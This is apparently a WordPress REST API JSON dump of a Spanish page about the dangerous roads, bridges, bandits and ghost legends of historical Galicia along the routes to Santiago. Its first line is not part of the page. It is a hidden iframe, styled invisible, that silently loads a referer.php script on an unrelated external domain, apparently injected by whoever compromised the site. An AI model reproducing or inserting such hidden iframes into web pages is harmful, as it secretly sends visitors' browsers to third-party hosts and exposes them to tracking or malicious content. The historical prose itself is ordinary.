<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":12951,"date":"2017-02-22T08:32:37","date_gmt":"2017-02-22T07:32:37","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=12951\/"},"modified":"2017-02-24T11:26:02","modified_gmt":"2017-02-24T10:26:02","slug":"una-aventura","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/una-aventura\/","title":{"rendered":"\u00a1Una aventura!"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-5a6a3c67b6460052fa53c9151977d2e7\">\n.avia-section.av-av_section-5a6a3c67b6460052fa53c9151977d2e7{\nbackground-color:#4ecac2;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-5a6a3c67b6460052fa53c9151977d2e7 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_two_third  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12951'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-5a78a01ac4e085a76ddc8e8b01d03eb1\">\n#top .av-special-heading.av-av_heading-5a78a01ac4e085a76ddc8e8b01d03eb1{\npadding-bottom:14px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-5a78a01ac4e085a76ddc8e8b01d03eb1 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-5a78a01ac4e085a76ddc8e8b01d03eb1 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-5a78a01ac4e085a76ddc8e8b01d03eb1 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-5a78a01ac4e085a76ddc8e8b01d03eb1 av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >\u00a1Una aventura!<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12951'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_third-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_two_third-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_third-6126cab7d8fab8d08143dd2dacdf673c av_two_third  avia-builder-el-2  el_after_av_section  el_before_av_one_third  avia-builder-el-first  first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Galicia, en la Edad Media y en los siglos posteriores presenta una red viaria tan pobre y deteriorada que transitar por ella supone una aut\u00e9ntica aventura.<\/p>\n<p>Importante era la construcci\u00f3n y, sobre todo, el mantenimiento de puentes fuertes y seguros que sirvieran para cruzar los muchos y caudalosos r\u00edos que ba\u00f1an las tierras gallegas. Por documentos hist\u00f3ricos sabemos que ya a finales del siglo XI, por el estado de abandono e inseguridad de las rutas, se producen ya enfrentamientos entre comerciantes y nobleza de Santiago.<\/p>\n<p>En el siglo XVI, Juan de Villuga en su repertorio de caminos de 1546 y Alfonso de Meneses en 1576, registran tres o cuatro rutas b\u00e1sicas de herencia medieval en la Galicia de ese momento: el camino de Santiago a Coru\u00f1a de 10 leguas, el de A Coru\u00f1a a Finisterre de 12 leguas, el de Santiago a Finisterre de 16 leguas y el de Santiago a San Juan de Pie de Puerto de 152 leguas, que coincide con el m\u00e1s tradicional Camino de Santiago. A estas v\u00edas principales se sumar\u00eda una extensa red de veredas (llamadas en gallego \u201ccorredoiras\u201d) que comunicaban aldeas y parroquias contiguas, muchas dif\u00edciles de transitar en \u00e9poca de lluvias.<\/p>\n<\/div><\/section><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-0aa7055fe62c3622faec82866afbaeb2\">\n.flex_column.av-av_one_third-0aa7055fe62c3622faec82866afbaeb2{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_third-0aa7055fe62c3622faec82866afbaeb2 av_one_third  avia-builder-el-4  el_after_av_two_third  el_before_av_one_third  flex_column_div av-zero-column-padding '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" 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Santiago' title='Indicador del Camino de Santiago'  height=\"180\" width=\"180\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CaminhoSantiagoIndicador.jpg 180w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CaminhoSantiagoIndicador-80x80.jpg 80w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CaminhoSantiagoIndicador-36x36.jpg 36w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CaminhoSantiagoIndicador-120x120.jpg 120w\" sizes=\"(max-width: 180px) 100vw, 180px\" \/><\/div><\/div><\/div><\/p><\/div>\n<div class='flex_column_table av-av_one_third-169e5a607a277699ae4d12b1f6626805 sc-av_one_third av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" 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A fines del Antiguo R\u00e9gimen, la red viaria de Galicia es de una gran precariedad, tanta que hasta la finalizaci\u00f3n en 1772 del camino real Madrid \u2013 A Coru\u00f1a, Galicia era inaccesible al tr\u00e1fico rodado desde el exterior. El cuidado de los caminos y puentes hacia el siglo XVIII es responsabilidad de cada parroquia y pocas cumpl\u00edan con su obligaci\u00f3n.<\/p>\n<p>Sabemos por la obra de Labrada,\u00a0 \u201c<em>El comercio de Galicia y con Galicia en la econom\u00eda mundial del siglo XVIII. Para un estado de la cuesti\u00f3n<\/em>\u201d, la dificultad de recorrer los caminos en los que, entre otros incidentes de la complicada orograf\u00eda gallega,\u00a0 los r\u00edos constituyen grandes obst\u00e1culos dif\u00edciles de salvar. Dice Labrada<em>: \u201c<\/em><em>caminos estrechos y costaneros, de puentes arruinados, de puentes de madera muy peligrosos o de falsos puentes formados de troncos de pino cubiertos de tierra y tojos, ninguno de los cuales pod\u00eda cruzarse a caballo ni \u201ctransitarse sin grave riesgo\u201d, habiendo de cruzarse por vados o barcas, o ape\u00e1ndose para cruzar a pie por puentes de madera r\u00edos como el Mi\u00f1o o el Lea. En las jurisdicciones de monta\u00f1a la mayor\u00eda de los puentes eran de madera y los llevaban frecuentemente las corrientes. Los vecinos no pod\u00edan cruzarlos con sus carros ni para el servicio de sus labranzas en invierno o cuando los r\u00edos no estaban vadeables. Algunos puentes romanos o medievales, como los de Gat\u00edn y de San Mart\u00edn de la Ribera sobre el r\u00edo Navia necesitaban ser reconstruidos, igual que el de Belesar en Chantada sobre el Mi\u00f1o.\u201d<\/em><\/p>\n<p>Aparte de la inseguridad debida al estado de los caminos, otras circunstancias los hacen todav\u00eda m\u00e1s dif\u00edciles de transitar a lo largo de los siglos. Gracias a escritos de Bernardo Barreiro de 1883, sabemos\u00a0 del miedo de los transe\u00fantes en la zona de San Lorenzo,\u00a0 principalmente a horas oscuras, en donde se dec\u00eda que aparec\u00edan almas en pena vestidas de t\u00fanicas blancas encendiendo y apagando cirios, acompa\u00f1ando el ata\u00fad\u00a0 del pecador impenitente. Tambi\u00e9n abundaban bandoleros que se apoderaban de las pertenencias de los comerciantes y peregrinos.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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